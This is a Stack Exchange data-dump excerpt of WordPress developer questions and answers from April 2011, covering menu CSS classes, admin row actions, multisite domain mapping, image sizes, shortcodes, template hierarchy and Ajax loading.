  <row Id="14978" PostTypeId="1" AcceptedAnswerId="14984" CreationDate="2011-04-18T05:36:19.403" Score="1" ViewCount="198" Body="&lt;p&gt;Whats the difference between &lt;code&gt;current_page_item&lt;/code&gt; and &lt;code&gt;current-menu-item&lt;/code&gt; when using Custom Menus&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.current_page_item{} // Class for Current Page&#xA;.current-cat{} // Class for Current Category&#xA;.current-menu-item{} // Class for any other current Menu Item&#xA;.menu-item-type-taxonomy{} // Class for a Category&#xA;.menu-item-type-post_type{} // Class for Pages&#xA;.menu-item-type-custom{} // Class for any custom item that you added&#xA;.menu-item-home{} // Class for the Home Link&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2011-04-18T06:47:38.190" Title="Whats the difference between current_page_item and current-menu-item" Tags="&lt;custom-menus&gt;" AnswerCount="1" />
  <row Id="14979" PostTypeId="2" ParentId="14964" CreationDate="2011-04-18T05:57:04.947" Score="1" ViewCount="" Body="&lt;p&gt;I propose Members plugin. It allows you to create new user groups and define their access to each and almost every page in wp-admin. You can find it here: &lt;a href=&quot;http://wordpress.org/extend/plugins/members/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/members/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4744" LastActivityDate="2011-04-18T05:57:04.947" />
  <row Id="14980" PostTypeId="2" ParentId="14977" CreationDate="2011-04-18T06:07:48.770" Score="1" ViewCount="" Body="&lt;p&gt;I noticed that wordpress' &lt;code&gt;make_clickable&lt;/code&gt; filter was attached to the &lt;code&gt;comment_text&lt;/code&gt; filter hook and not &lt;code&gt;get_comment_text&lt;/code&gt;, which is what I have been using for a while. I had researched earlier if this may be the case, specifically figuring out what the difference was between the two, and I think I read something about &lt;code&gt;comment_text&lt;/code&gt; &lt;em&gt;using&lt;/em&gt; &lt;code&gt;get_comment_text&lt;/code&gt;, so maybe it was doing something more than once, resulting in the weird output I found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I solved this by changing my filter to hook onto &lt;code&gt;comment_text&lt;/code&gt; instead, that way the priority &lt;em&gt;would&lt;/em&gt; matter (duh), and kept my filter's priority level of 9000. Preliminary tests show everything to be working. This way I don't have to worry about wordpress modifying my output in unpredictable ways, instead I can just bother working with what wordpress vomits out. At least that way I know what I can work with and what I can't work with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks again to one trick pony for giving me a lead.&lt;/p&gt;&#xA;" OwnerUserId="113" LastActivityDate="2011-04-18T06:07:48.770" CommentCount="1" />
  <row Id="14982" PostTypeId="2" ParentId="14973" CreationDate="2011-04-18T06:28:21.390" Score="3" ViewCount="" Body="&lt;p&gt;When using custom post type you use the &lt;code&gt;post_row_actions&lt;/code&gt; filter hook and check the post type to modify it only:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('post_row_actions','my_action_row', 10, 2);&#xA;&#xA;function my_action_row($actions, $post){&#xA;    //check for your post type&#xA;    if ($post-&amp;gt;post_type ==&quot;feedbacks&quot;){&#xA;        /*do you stuff here&#xA;        you can unset to remove actions&#xA;        and to add actions ex:&#xA;        $actions['in_google'] = '&amp;lt;a href=&quot;http://www.google.com/?q='.get_permalink($post-&amp;gt;ID).'&quot;&amp;gt;check if indexed&amp;lt;/a&amp;gt;';&#xA;        */&#xA;    }&#xA;    return $actions;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Quick update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks to somatic&#xA;if you custom post type is &quot;hierarchical&quot; then you action hook is:&#xA;&lt;code&gt;page_row_actions&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-05-05T07:22:17.833" LastActivityDate="2011-05-05T07:22:17.833" CommentCount="9" />
  <row Id="14983" PostTypeId="1" CreationDate="2011-04-18T06:39:16.123" Score="0" ViewCount="174" Body="&lt;p&gt;I have successfully set up WordPress Multi-site on my server. I have faithfully followed every single step that was listed by WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the subdirectory install and everything is fine as of now except the domain mapping part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mydomain.com/site1&#xA;mydomain.com/site2&#xA;mydomain.com/site3&#xA;mydomain.com/site4&#xA;.&#xA;.&#xA;.&#xA;works fine!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mapping &lt;a href=&quot;http://www.xyz.com&quot; rel=&quot;nofollow&quot;&gt;http://www.xyz.com&lt;/a&gt; to mydomain.com/site1 throws a &quot;403 Forbidden&#xA;You don't have permission to access / on this server.&quot; error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have followed this tutorial (and also installed that plugin):&#xA;&lt;a href=&quot;http://ottopress.com/2010/wordpress-3-0-multisite-domain-mapping-tutorial/&quot; rel=&quot;nofollow&quot;&gt;http://ottopress.com/2010/wordpress-3-0-multisite-domain-mapping-tutorial/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something to do with .htaccess? Here's my htaccess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^index\.php$ - [L]&#xA;&#xA;ErrorDocument 404 /index.php?error=404&#xA;&#xA;RewriteRule ^login$ /wp-login.php [L]&#xA;RewriteRule ^signup$ /wp-signup.php [L]&#xA;RewriteRule ^register$ /wp-register.php [L]&#xA;&#xA;# uploaded files&#xA;RewriteRule ^([_0-9a-zA-Z-]+/)?files/(.+) wp-includes/ms-files.php?file=$2 [L]&#xA;&#xA;# add a trailing slash to /wp-admin&#xA;RewriteRule ^([_0-9a-zA-Z-]+/)?wp-admin$ $1wp-admin/ [R=301,L]&#xA;&#xA;RewriteCond %{REQUEST_FILENAME} -f [OR]&#xA;RewriteCond %{REQUEST_FILENAME} -d&#xA;RewriteRule ^ - [L]&#xA;RewriteRule ^[_0-9a-zA-Z-]+/(wp-(content|admin|includes).*) $1 [L]&#xA;RewriteRule ^[_0-9a-zA-Z-]+/(.*\.php)$ $1 [L]&#xA;RewriteRule . index.php [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have set up TWO A records on my domain manager for xyz.com to point to my server's IP address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Address:xyz.com | Type:A RECORD | Points to: server IP&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Address:www.xyz.com | Type:A RECORD | Points to: server IP&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And still, it throws a 403 error on me. Any help would be much appreciated. Thank You.&lt;/p&gt;&#xA;" OwnerUserId="4746" LastActivityDate="2011-04-18T06:39:16.123" Title="Wordpress Multisite Domain Mapping question" Tags="&lt;multisite&gt;&lt;domain-mapping&gt;" />
  <row Id="14984" PostTypeId="2" ParentId="14978" CreationDate="2011-04-18T06:47:38.190" Score="1" ViewCount="" Body="&lt;p&gt;current_menu_item is the active element in the menu, independent from the type (page, archives, post, etc.) of the current menu element, while current_page_item only available, if the current item is a page and is current.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more details: &lt;a href=&quot;http://codex.wordpress.org/Dynamic_Menu_Highlighting&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Dynamic_Menu_Highlighting&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4209" LastActivityDate="2011-04-18T06:47:38.190" CommentCount="1" />
  <row Id="14985" PostTypeId="1" AcceptedAnswerId="14987" CreationDate="2011-04-18T06:57:49.910" Score="1" ViewCount="147" Body="&lt;p&gt;I wonder if its a good idea to use &lt;code&gt;add_image_size&lt;/code&gt; or is it just a convinence feature. I say this as I think &lt;code&gt;add_image_size&lt;/code&gt; creates images of various sizes regardless of what the usage if the image maybe&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg. I may want a thumbnail of 500x200 in my portfolio pages only. but WordPress will create images of 500x200 for all images I upload right? If I have a bunch of &lt;code&gt;add_image_size&lt;/code&gt;, it will clutter up my uploads with useless images I will never use? Is there a better solution? Resize before upload, maybe alittle troublesome?&lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2011-05-18T07:51:26.393" Title="add_image_size creating lots of images (of various sizes)" Tags="&lt;uploads&gt;&lt;media-library&gt;&lt;add-image-size&gt;" AnswerCount="2" />
  <row Id="14986" PostTypeId="2" ParentId="14976" CreationDate="2011-04-18T07:00:09.377" Score="1" ViewCount="" Body="&lt;p&gt;for category:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;li.current-category-ancestor&lt;/li&gt;&#xA;&lt;li&gt;li.current-cat&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;for menu:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;li.current-menu-item&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;for page:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;li.current_page_item&lt;/li&gt;&#xA;&lt;li&gt;li.current-page-ancestor&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;for post:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;li.current-post-ancestor&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For more details: &lt;a href=&quot;http://codex.wordpress.org/Dynamic_Menu_Highlighting&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Dynamic_Menu_Highlighting&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4209" LastActivityDate="2011-04-18T07:00:09.377" />
  <row Id="14987" PostTypeId="2" ParentId="14985" CreationDate="2011-04-18T07:11:10.330" Score="0" ViewCount="" Body="&lt;p&gt;For image formats that are only used for a small fraction of the images, I suggest using an on-the-fly image resizer. Preferrably one that caches the images so that you only have to resize them once. I use &lt;a href=&quot;http://www.binarymoon.co.uk/projects/timthumb/&quot; rel=&quot;nofollow&quot;&gt;TimThumb&lt;/a&gt; for a number of projects, and it's been good enough for me.&lt;/p&gt;&#xA;" OwnerUserId="221" LastActivityDate="2011-04-18T07:11:10.330" />
  <row Id="14988" PostTypeId="1" AcceptedAnswerId="16055" CreationDate="2011-04-18T07:36:46.053" Score="2" ViewCount="159" Body="&lt;p&gt;I am having a problem where my markup is rendered incorrectly (more space because of &lt;code&gt;&amp;lt;br /&amp;gt;&lt;/code&gt;) as WordPress adds &lt;code&gt;&amp;lt;br /&amp;gt;&lt;/code&gt; everywhere theres a line break&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[x]&#xA;  [y]Hello world[/y]&#xA;  [y]A test[/y]&#xA;[/x]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the handler for &lt;code&gt;x&lt;/code&gt; the &lt;code&gt;$content&lt;/code&gt; looks like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;br /&amp;gt;&#xA;[y]Hello world[/y]&#xA;&amp;lt;br /&amp;gt;&#xA;[y]A test[/y]&#xA;&amp;lt;br /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I suppose to strip out all the line breaks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I notice that no line breaks&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[x][y]Photoshop[/y][y]Notepad++[/y][/x]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;[y]Notepad++[/y]&lt;/code&gt; will not be rendered as a shortcode. I must have a space like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[x][y]Photoshop[/y] [y]Notepad++[/y][/x]&#xA;                   ^&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Isit?&lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2011-05-09T08:08:25.720" Title="WordPress adds br in between my shortcode" Tags="&lt;shortcode&gt;&lt;editor&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="14989" PostTypeId="2" ParentId="14985" CreationDate="2011-04-18T07:48:19.317" Score="0" ViewCount="" Body="&lt;p&gt;Yes, an alternative will be to use Timthumb, which will resize images on the fly but will require some additional processing power. It does have a cache but with a large site, I believe that it will face its cache limits too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I would just keep my uploads organized in years/months folder and let it create as many copies as I want. This way, there is no additional load on the server for serving images. Because with Timthumb its not a static element anymore. And uploads are just increasing your uploads size which is really not much of a big deal, now is it?&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-04-18T07:48:19.317" CommentCount="2" />
  <row Id="14990" PostTypeId="2" ParentId="14927" CreationDate="2011-04-18T08:23:39.323" Score="1" ViewCount="" Body="&lt;p&gt;I discovered that the problem was in my theme's searchform.php file. I changed the form method from &quot;post&quot; to &quot;get.&quot; Now search queries show up in the url address.&#xA;Before:&#xA;&lt;code&gt;&amp;lt;form action=&quot;&amp;lt;?php echo $_SERVER['PHP_SELF']; ?&amp;gt;&quot; method=&quot;post&quot;&amp;gt;&lt;/code&gt;&#xA;After:&#xA;&lt;code&gt;&amp;lt;form action=&quot;&amp;lt;?php echo $_SERVER['PHP_SELF']; ?&amp;gt;&quot; method=&quot;get&quot;&amp;gt;&lt;/code&gt;&#xA;Problem solved. &lt;/p&gt;&#xA;" OwnerUserId="4726" LastActivityDate="2011-04-18T08:23:39.323" CommentCount="1" />
  <row Id="14991" PostTypeId="2" ParentId="13539" CreationDate="2011-04-18T08:29:08.990" Score="0" ViewCount="" Body="&lt;p&gt;Use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_safe_redirect&quot; rel=&quot;nofollow&quot;&gt;wp_safe_redirect()&lt;/a&gt; instead of calling php's header() function directly when directing to a page on the same domain.&lt;/p&gt;&#xA;" OwnerUserId="1367" LastEditorUserId="1367" LastEditorDisplayName="" LastEditDate="2011-04-18T19:41:51.973" LastActivityDate="2011-04-18T19:41:51.973" CommunityOwnedDate="2011-04-18T08:29:08.990" CommentCount="0" />
  <row Id="14992" PostTypeId="1" CreationDate="2011-04-18T08:43:22.700" Score="0" ViewCount="56" Body="&lt;p&gt;Syntax highlighter works fine with Firefox but not working in ie&#xA;Eg. &lt;a href=&quot;http://rat32.com/rat32/?p=5&quot; rel=&quot;nofollow&quot;&gt;http://rat32.com/rat32/?p=5&lt;/a&gt;&#xA;How to fix this problem?&lt;/p&gt;&#xA;" OwnerUserId="4749" LastActivityDate="2011-04-18T08:43:22.700" Title="Syntax highlighter not working in ie" Tags="&lt;plugins&gt;" CommentCount="1" />
  <row Id="14993" PostTypeId="1" AcceptedAnswerId="14998" CreationDate="2011-04-18T08:57:53.743" Score="1" ViewCount="170" Body="&lt;p&gt;I have a page &quot;Portfolio&quot;, it contains a loop that outputs the list of portfolio (Custom Post Type, &lt;em&gt;is this the problem?&lt;/em&gt;) items using &lt;code&gt;page-portfolio.php&lt;/code&gt;. Problem is somehow WordPress used the &lt;code&gt;archive.php&lt;/code&gt; to render my portfolio page, why is that?&lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2011-04-18T11:31:43.853" Title="Why is archive.php used for my page" Tags="&lt;custom-post-types&gt;&lt;theme-development&gt;" AnswerCount="3" />
  <row Id="14994" PostTypeId="2" ParentId="14993" CreationDate="2011-04-18T09:08:37.900" Score="0" ViewCount="" Body="&lt;p&gt;Make sure you have added the comment block to your &lt;code&gt;page-portfolio.php&lt;/code&gt; to tell its a template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add this to the top of the file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Template Name: A Template Name of Your Choice&#xA;*/&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Go into pages in the admin area of WordPress and create a page and assign the above template to that page.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-04-18T09:08:37.900" />
  <row Id="14995" PostTypeId="1" AcceptedAnswerId="17585" CreationDate="2011-04-18T09:51:38.410" Score="0" ViewCount="132" Body="&lt;p&gt;What i'm trying to achieve is bringing a loop from one WP site into another WP Site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used this method to get the loop into an external php file (which all works fine, the results show)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;define('WP_USE_THEMES', false);&#xA;require('path_on_server/wp-blog-header.php');&#xA;query_posts('showposts=5');&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endwhile; endif;  ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I then try and include the file in my sidebar using a simple php include call but the results don't show.... I imagine this is because of some sort of confliction between my WP &amp;amp; the other sites WP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help on achieving this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1778" LastActivityDate="2011-06-17T16:03:18.047" Title="Loop from another WP site onto mine" Tags="&lt;loop&gt;&lt;the-loop&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="14996" PostTypeId="1" CreationDate="2011-04-18T10:03:43.897" Score="1" ViewCount="246" Body="&lt;ul&gt;&#xA;&lt;li&gt;I want to implement an application form with WordPress, Preferably using a plugin. What I need here is not a contact us form, But I need a complete registration form or customer registration form or student registration form. This means fields could be customized according to particular need.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I want a fixed number of columns table plugin which has a form and store data to that table. Because i want to show that table in my reports under wordpress admin panel.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I am open to any suggestion. Even if i am going totally wrong. Please guide me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="4750" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-18T13:06:27.957" LastActivityDate="2011-08-17T07:25:53.017" Title="WordPress Custom Application form" Tags="&lt;plugins&gt;&lt;form&gt;" AnswerCount="2" />
  <row Id="14997" PostTypeId="2" ParentId="14995" CreationDate="2011-04-18T10:25:03.357" Score="0" ViewCount="" Body="&lt;p&gt;Use &lt;a href=&quot;http://feedwordpress.radgeek.com/&quot; rel=&quot;nofollow&quot;&gt;the FeedWordPress plugin&lt;/a&gt; instead.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-04-18T10:25:03.357" CommentCount="1" />
  <row Id="14998" PostTypeId="2" ParentId="14993" CreationDate="2011-04-18T10:57:45.907" Score="2" ViewCount="" Body="&lt;p&gt;An archive of a custom post type is displayed using &lt;code&gt;archive-[posttype].php&lt;/code&gt; or &lt;code&gt;archive.php&lt;/code&gt; if the first does not exist (see &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy&quot; rel=&quot;nofollow&quot;&gt;the Template Hierarchy&lt;/a&gt; for the full details). &lt;code&gt;page-[posttype].php&lt;/code&gt; is only used if you create a &quot;dummy&quot; page to show a custom post type archive (before WordPress 3.1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in your case you should rename &lt;code&gt;page-portfolio.php&lt;/code&gt; to &lt;code&gt;archive-portfolio.php&lt;/code&gt;, and don't include a header to indicate a page template name.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-18T10:57:45.907" />
  <row Id="14999" PostTypeId="1" AcceptedAnswerId="15003" CreationDate="2011-04-18T11:22:11.923" Score="1" ViewCount="175" Body="&lt;p&gt;I am trying to reload the fresh posts using jQuery. As far as I know, I can't reload the contents of a div inside the page so I reload a file into that div.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that my loaded file gives me a &lt;strong&gt;Fatal error: Call to undefined function wp_query()&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I implement functions to a newly created file inside the theme directory to work properly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;This is my jQuery&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script language=&quot;JavaScript&quot;&amp;gt;&#xA;$(function() {&#xA;    var SANAjax = function(){&#xA;&#xA;    }&#xA;    setInterval(SANAjax, 15000 );&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;And this is what i have in &lt;code&gt;reloadhomeposts.php&lt;/code&gt; (I have deleted the content though)&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $recent = new WP_Query(&quot;cat=3,4,5&amp;amp;showposts=10&quot;); while($recent-&amp;gt;have_posts()) : $recent-&amp;gt;the_post();?&amp;gt;&#xA;.&#xA;.&#xA;.&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4448" LastEditorUserId="4448" LastEditorDisplayName="" LastEditDate="2011-06-19T13:52:20.273" LastActivityDate="2011-06-19T13:52:20.273" Title="Can't access WordPress functions in file called via Ajax?" Tags="&lt;theme-development&gt;&lt;functions&gt;&lt;ajax&gt;" AnswerCount="2" />
  <row Id="15000" PostTypeId="2" ParentId="5451" CreationDate="2011-04-18T11:23:05.197" Score="0" ViewCount="" Body="&lt;p&gt;To remove it add the following to your theme's functions.php file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;wp_deregister_script('l10n');&lt;/p&gt;&#xA;" OwnerUserId="4751" LastActivityDate="2011-04-18T11:23:05.197" />
  <row Id="15001" PostTypeId="2" ParentId="14996" CreationDate="2011-04-18T11:24:37.710" Score="0" ViewCount="" Body="&lt;p&gt;Although a premium plugin, I would like to suggest &lt;a href=&quot;http://senl.in/gRaVitY&quot; rel=&quot;nofollow&quot;&gt;Gravity Forms&lt;/a&gt; (aff link). Due to conditional logic you can easily adapt the form to be(come) an application form instead of the usual contact form.&lt;/p&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-04-18T11:24:37.710" />
  <row Id="15002" PostTypeId="2" ParentId="14993" CreationDate="2011-04-18T11:31:43.853" Score="1" ViewCount="" Body="&lt;p&gt;I don't think it is possible to use portfolio.php for the Custom Post Type &quot;Portfolio&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I have solved it on a site I did recently was to call my Custom Post Type &quot;Project&quot; instead. Then pull the content in via a Page Template called portfolio.php (see Brady's answer).&#xA;Then to show the single Projects, I use a template called single-project.php&lt;/p&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-04-18T11:31:43.853" CommentCount="2" />
  <row Id="15003" PostTypeId="2" ParentId="14999" CreationDate="2011-04-18T11:33:37.673" Score="0" ViewCount="" Body="&lt;p&gt;The reason for this error is that your loading the file without loading in the WordPress system and so wp_query() doesnt exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quick fix is to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;include(&quot;../../../wp-load.php&quot;);&lt;/code&gt; &amp;lt;-- guessing at the location of the wordpress file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;at the top of the php file.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-04-18T11:33:37.673" CommentCount="4" />
  <row Id="15004" PostTypeId="2" ParentId="14974" CreationDate="2011-04-18T11:35:42.290" Score="3" ViewCount="" Body="&lt;p&gt;The second parameter for &lt;code&gt;tb_show&lt;/code&gt; is the URL, so you'll want to use something like..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tb_show(tag, add_query_arg( array( 'action' =&amp;gt; 'getTheContent', 'query_var1' =&amp;gt; 'value1', 'query_var2' =&amp;gt; 'value2' ), admin_url( 'admin-ajax.php' ) ) ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd guess you need to pass the action and any additional query vars manually(as per above), else your request is simply for &lt;code&gt;admin-ajax.php&lt;/code&gt;, when what you really want is.. &lt;code&gt;admin-ajax.php?action=getTheContent&amp;amp;someothervar=someothervalue&lt;/code&gt;, hence the &lt;code&gt;add_query_arg&lt;/code&gt; usage above..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SEE BELOW UPDATE!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For clarification:&lt;/strong&gt; (with regard to above code)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_query_arg( array( 'action' =&amp;gt; 'getTheContent', 'query_var1' =&amp;gt; 'value1', 'query_var2' =&amp;gt; 'value2' ), admin_url( 'admin-ajax.php' ) )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is equivalent to..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://example.com/wp-admin/admin-ajax.php?action=getTheContent&amp;amp;query_var1=valu1&amp;amp;query_var2=value2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;..but having now explained myself i've realised we don't want the complete URL, so that code should actually be..&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tb_show(tag, add_query_arg( array( 'action' =&amp;gt; 'getTheContent', 'query_var1' =&amp;gt; 'value1', 'query_var2' =&amp;gt; 'value2' ), 'admin-ajax.php' ) ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So we end up the following instead..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;admin-ajax.php?action=getTheContent&amp;amp;query_var1=valu1&amp;amp;query_var2=value2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-04-18T13:53:55.437" LastActivityDate="2011-04-18T13:53:55.437" CommentCount="9" />
  <row Id="15005" PostTypeId="1" AcceptedAnswerId="15008" CreationDate="2011-04-18T13:17:11.970" Score="0" ViewCount="40" Body="&lt;p&gt;I need to create a feed (RSS or Atom) of posts and comments that have been deleted (ie moved to Trash).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best way of doing this? Right now I'm thinking about creating 2 pages templates containing a SQL / $wpdb query that returns posts and comments with trashed status (and then creating new pages eg deletedposts / deletedcomments)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any better ways? Main reason for doing it this way is easy routing - ie the URLs are created for me. How would I handle the routing if I put this in a plugin and don't create pages?&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-04-18T13:37:34.947" Title="RSS feed for deleted posts and comments" Tags="&lt;feed&gt;&lt;deleted&gt;&lt;routing&gt;" AnswerCount="2" />
  <row Id="15006" PostTypeId="2" ParentId="15005" CreationDate="2011-04-18T13:33:11.200" Score="0" ViewCount="" Body="&lt;p&gt;Maybe the easiest thing to do is create a category called Trash and move your posts there; then you've got an automatic post and comment feed without a plugin or custom queries and with a slug of Trash.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-04-18T13:33:11.200" CommentCount="1" />
  <row Id="15007" PostTypeId="1" AcceptedAnswerId="15012" CreationDate="2011-04-18T13:36:38.223" Score="1" ViewCount="175" Body="&lt;p&gt;If I want to apply a style to only an item in a menu that has a submenu, how can I select that with CSS?&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-04-18T14:20:24.030" Title="Custom CSS class or ID on menu items that have a Submenu" Tags="&lt;css&gt;&lt;menus&gt;" AnswerCount="2" />
  <row Id="15008" PostTypeId="2" ParentId="15005" CreationDate="2011-04-18T13:37:34.947" Score="1" ViewCount="" Body="&lt;p&gt;Well if you want a feed it would be logical to create a feed, rather than emulate it with page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;add_feed()&lt;/code&gt; ( &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.1/wp-includes/rewrite.php#L62&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt; ) and your queries+output in callback.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-18T13:37:34.947" CommentCount="1" />
